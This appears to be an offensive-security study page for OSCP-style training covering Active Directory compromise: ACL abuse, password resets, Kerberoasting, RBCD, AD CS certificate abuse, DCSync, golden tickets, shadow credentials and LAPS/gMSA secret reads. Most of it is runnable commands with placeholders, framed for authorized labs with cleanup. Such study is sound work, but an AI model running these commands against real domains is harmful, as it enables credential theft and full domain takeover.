Object Control, AD CS and Domain Compromise
← Stage index | Domain mapping | AD cheatsheet | Strategy map | Study methods: Map Active Directory attack paths; Gain a more useful domain identity
Active Block 11 core: user, group, SPN and DACL-backed identity transitions, plus the rights required for DCSync.
Conditional supplements: GPO abuse, delegation/RBCD and AD CS remain evidence-led branches rather than core Block 11 study.
Directory-object control
Model: controlled principal → effective ACE → target object/type → permitted modification → authentication/authorization effect → cleanup.
Enumerate a target's ACL with resolved GUIDs:
Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' }
Resolve trustees:
ConvertFrom-SID 'S-1-5-21-...'
Get-DomainObject -Identity 'S-1-5-21-...' | Select-Object samaccountname,objectclass
Common effects require different rights:
| Right/object | Possible controlled effect | Validation needed |
|---|---|---|
GenericAll/password-reset extended right on user | Reset the user's password | Effective trustee, account state, protected-object behavior |
GenericAll or effective member-attribute write on group | Add a controlled principal to the group | Target group, nesting and a refreshed logon token |
GenericWrite/SPN-property write on user | Add a temporary SPN, request a TGS and remove it | Exact property right, duplicate-SPN checks and cleanup |
WriteDacl | Grant a narrower right | Ability to write DACL and restore original ACL |
WriteOwner | Change owner, then possibly DACL | Owner semantics and cleanup |
| Computer-object write | RBCD-related attribute change | Machine account/control, SPN/Kerberos and target service |
Password reset
A password-reset right creates a new password credential; it does not reveal the old one. This is disruptive because an unknown original password cannot be restored.
$Secure = ConvertTo-SecureString 'TEMP_PASSWORD' -AsPlainText -Force
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $Secure -Verbose
net user TARGET_USER TEMP_PASSWORD /domain
Validate the account state and authenticate only to an approved service as the target identity. Prefer a reversible route when one exists.
Group membership
Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Get-DomainGroupMember -Identity TARGET_GROUP |
Where-Object { $_.MemberName -eq 'CONTROLLED_USER' }
# Built-in alternative
net group TARGET_GROUP CONTROLLED_USER /add /domain
A current session may not receive the new group SID until a fresh logon. Validate with a new session/token, then remove the membership after the authorized objective:
Remove-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose -Confirm:$false
net group TARGET_GROUP CONTROLLED_USER /delete /domain
Targeted Kerberoast through SPN write
If the effective right permits writing servicePrincipalName on a user, add a unique temporary SPN, request that account's ticket and remove the SPN immediately. The cracking workflow is in Kerberos and identity transitions.
setspn -S TEMP/TARGET_USER TARGET_USER
setspn -Q TEMP/TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
setspn -D TEMP/TARGET_USER TARGET_USER
Owner and DACL transitions
WriteOwner can make the controlled identity the owner; ownership may then permit a DACL change. WriteDacl can grant only the narrower right needed for the intended transition.
Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Add-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
# Group-membership variant
Add-DomainObjectAcl -TargetIdentity TARGET_GROUP -PrincipalIdentity CONTROLLED_USER -Rights WriteMembers -Verbose
# Remove the ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose
Export the original owner/security descriptor before changing it and restore exactly that state. Password resets, membership changes, SPN writes, ownership changes and ACE grants are state changes; do not execute merely because a graph shows an edge.
Conditional: GPO control
Identify GPOs and links:
Get-DomainGPO
Get-DomainOU | Select-Object name,distinguishedname,gplink
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,DC=DOMAIN,DC=TLD' -ResolveGUIDs |
Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteProperty' }
For a candidate, prove:
- the controlled principal can edit both the directory object and relevant SYSVOL policy files;
- the GPO is linked to the OU containing the intended test host/user;
- security filtering and WMI filters include that subject;
- the configured preference/task/script runs in the expected context; and
- policy refresh or another predictable trigger will occur.
SharpGPOAbuse supports immediate-task/local-group techniques, but syntax is version-sensitive and the action changes domain policy. Inspect the installed build before a controlled lab action:
SharpGPOAbuse.exe --help
gpresult /r
gpupdate /force
Back up the GPO, restrict the target/scope, document the exact change and restore it after validation.
Conditional: delegation paths
Enumerate before attempting any ticket operation:
Get-DomainComputer -Unconstrained | Select-Object dnshostname
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto
impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP
Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:
impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
-dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.
Resource-based constrained delegation
Prerequisite: effective write control over the target computer's
msDS-AllowedToActOnBehalfOfOtherIdentityplus control of a principal with an SPN (often a lab computer account).
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
-computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
-action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
-dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'
Cleanup after the lab objective:
impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
-action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
-delete -dc-ip DC_IP
Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.
Conditional: AD CS enumeration
Prerequisite: reachable CA/DC and a valid domain identity. Decisive output: a CA/template whose enabled state, enrollment rights and configuration satisfy a specific ESC path.
Package names vary:
command -v certipy-ad || command -v certipy
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-enabled -vulnerable -stdout
Review:
- CA name and host;
- template name and whether it is enabled/published;
- who can enroll;
- client-authentication EKUs/purpose;
- subject/SAN supply controls;
- manager approval/signature requirements;
- template owner and modification rights;
- web enrollment/relay-related configuration where relevant.
An ESC label is a candidate classification. Manually validate the properties and the controlled identity's effective rights.
Conditional: certificate request and authentication
Generic request after validating a specific template:
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-target DC_HOST -ca CA_NAME -template TEMPLATE
An alternate UPN/SID request is appropriate only when the validated template permits it and the lab explicitly authorizes impersonation testing:
certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-target DC_HOST -ca CA_NAME -template TEMPLATE \
-upn 'TEST_USER@DOMAIN' -sid 'TEST_USER_SID'
certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP
Treat PFX files, tickets and returned hashes as credentials. Verify certificate subject/SID, validity and intended identity. A successful issuance is not the same as successful PKINIT authentication.
Conditional: ESC4/template-write boundary
Before any authorized template change, save configuration:
certipy-ad template -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
-template TEMPLATE -save-configuration template-backup.json
Template writes alter Active Directory configuration and may affect many principals. Use only an explicitly authorized disposable lab path, inspect certipy-ad template -h for the installed version, and restore the saved configuration after the demonstration.
DCSync replication rights
Prerequisite: effective domain-root rights equivalent to
Replicating Directory ChangesplusReplicating Directory Changes All(and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.
Validate ACLs at the domain root:
Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }
A controlled DACL transition can grant these rights, but doing so changes the domain security descriptor and creates a domain-compromise path:
Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
# Remove the delegated replication ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose
Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.
Request one approved test account rather than dumping the directory:
impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
'DOMAIN/USER:PASSWORD@DC_HOST'
Mimikatz equivalent from an authorized Windows context:
lsadump::dcsync /domain:DOMAIN /user:TARGET_USER
Decisive output: selected directory secret material returned through replication. Treat it as domain compromise evidence. Stop, protect evidence, document the delegated right and move to remediation reasoning rather than broad collection.
Conditional: high-impact ticket-forging concepts
Golden tickets require the domain SID and KRBTGT key. They are persistence/impact concepts, not a default Block 11 action. A forged ticket still depends on correct cryptographic material, realm, time and authorization. For the active service-scoped case, use Silver tickets.
Authorized isolated-lab examples:
# Golden: realm-wide TGT material
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid DOMAIN_SID \
-domain DOMAIN AUTHORIZED_TEST_USER
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist
Use only against the approved service/host, record ticket metadata and remove generated credentials afterward. Domain recovery after KRBTGT exposure generally requires coordinated credential rotation and replication convergence; service-ticket exposure requires rotating the affected service/machine secret and reviewing access.
bloodyAD — Linux-side LDAP reads and permission-backed writes
Use an authenticated LDAP context and the exact right on the target object. Start with a read. These writes are distinct alternatives selected by the observed ACL:
# Inspect the target/group instead of assuming the relationship
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object TARGET_OBJECT --attr distinguishedName,member,memberOf
# Force-change-password right on this specific account
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
set password TARGET_USER 'NEW_PASSWORD'
# Write-members right on this specific group
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
add groupMember TARGET_GROUP USER
Read: verify the actual attribute change and test the resulting identity/capability through a compatible service. Group changes do not automatically refresh an existing process token/ticket. Access denied → inspect the object DACL and protected-account context; authentication alone is insufficient. Account Operators membership does not imply control over protected administrator accounts/groups.
Sources: upstream 1.
Delegated reads — LAPS and gMSA material
Use when directory permissions grant access to the secret-bearing attribute. Being able to enumerate the computer or service account does not grant that read.
# Classic LAPS: password for the relevant computer's local administrator
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object 'COMPUTER$' --attr ms-Mcs-AdmPwd
# Windows LAPS: returned content/format depends on schema and protection
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object 'COMPUTER$' --attr msLAPS-Password
# gMSA: inspect the allowed managed-password attribute
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
get object 'GMSA$' --attr msDS-ManagedPassword
Read: a LAPS value is scoped to the named host's local account. An encrypted Windows-LAPS value still needs the permitted decryption context. A gMSA blob/base64 string is not automatically a directly reusable NT hash: parse/decode it with a compatible gMSA tool before choosing authentication. Missing/denied attributes → distinguish schema, permissions and an empty value.
Sources: upstream 1 · upstream 2.
Shadow credentials — object-key write, PKINIT, then cleanup
Use only with effective write access to the target's msDS-KeyCredentialLink, a DC supporting the required key-trust/PKINIT behavior, correct time/DNS and compatible certificates. Inspect existing values first.
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
--target TARGET_USER --action list
# Adds a new key credential and generates certificate material; record its DeviceID
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
--target TARGET_USER --action add --filename target-key
# Use the generated PFX password; request the target principal's TGT
python3 gettgtpkinit.py -cert-pfx target-key.pfx -pfx-pass 'PFX_PASSWORD' \
-dc-ip DC_IP DOMAIN/TARGET_USER target.ccache
export KRB5CCNAME="$PWD/target.ccache"
klist
# Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key
python3 getnthash.py -key AS_REP_KEY -dc-ip DC_IP DOMAIN/TARGET_USER
# Remove only the key credential you added; never clear unrelated original values
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
--target TARGET_USER --action remove --device-id DEVICE_ID
Read: a successful attribute write does not yet establish a TGT or service authorization. Verify the cached principal and the intended service. PKINIT/certificate failure → inspect KDC support, mapping and trust; do not keep overwriting keys. Preserve the original state and remove only your added DeviceID after the test.
Sources: upstream 1 · upstream 2.
PassTheCert — Schannel/LDAP when the certificate is usable there
Use a certificate/private key mapped to an accepted AD identity with the necessary trust/EKU and a working LDAP TLS path. PKINIT and Schannel are different authentication paths: failure of one does not prove the other works or fails.
# Extract PEM material from the relevant PFX; respond to password prompts
openssl pkcs12 -in USER.pfx -clcerts -nokeys -out USER.crt
openssl pkcs12 -in USER.pfx -nocerts -nodes -out USER.key
# First identify the principal accepted through the certificate
python3 passthecert.py -action whoami -crt USER.crt -key USER.key \
-domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP
# Inspect operations in the LDAP shell before choosing an authorized write
python3 passthecert.py -action ldap-shell -crt USER.crt -key USER.key \
-domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP
Read: successful binding proves that mapped identity's LDAP context, not domain administration. The same object ACL still governs group/password/delegation writes. Certificate trust/mapping, TLS policy or a missing private key can block this route. Do not weaken workstation-wide TLS settings to compensate for an unexplained failure.
Sources: upstream 1.
Powermad — create an account only when the chosen AD path needs it
Use from a suitable authenticated PowerShell context when the actual quota/delegation permits computer creation and the planned path needs an account/SPN you control. Account creation alone does not grant RBCD rights on another host.
Import-Module .\Powermad.ps1
$machinePassword = ConvertTo-SecureString 'MACHINE_PASSWORD' -AsPlainText -Force
New-MachineAccount -MachineAccount NEWPC -Password $machinePassword `
-Domain DOMAIN -DomainController DC_HOST
Read: verify the created account, its SPNs and the chosen target-object permission separately. Quota, OU ACLs and existing names can stop the operation. Standard create rights do not necessarily permit deleting the created account later; establish the cleanup route and avoid repeated throwaway account creation.
Sources: upstream 1.
gMSA — obtain a decoded hash only with managed-password read rights
Use when the accepted directory identity has the managed-password read permission for the gMSA. NetExec selects LDAPS for this operation, so the DC's LDAP TLS path must work.
nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa
# After identifying the returned service account and hash, test one relevant service
nxc smb TARGET -d DOMAIN -u 'GMSA$' -H HASH --shares
Read: keep the exact service-account name and decoded NT hash together; an encoded msDS-ManagedPassword blob is a different representation. Authentication acceptance still does not prove administrative/remote-execution rights. Empty output → inspect object permissions, LDAPS, account type and collection errors before concluding that no gMSA path exists.
Sources: upstream 1.
Sources
- Supplied PEN-200, Chapter 23, especially the targeted Kerberoast, silver-ticket and DCSync sections.
- OffSec OSCP+ Body of Knowledge
- PowerSploit PowerView (archived)
- getSH Active Directory: Object Permissions, AD CS, GPO Abuse and Domain Compromise, source snapshot
e1f62dd - Certipy
- Impacket secretsdump
- SpecterOps AD CS research
- Hexdump Active Directory modules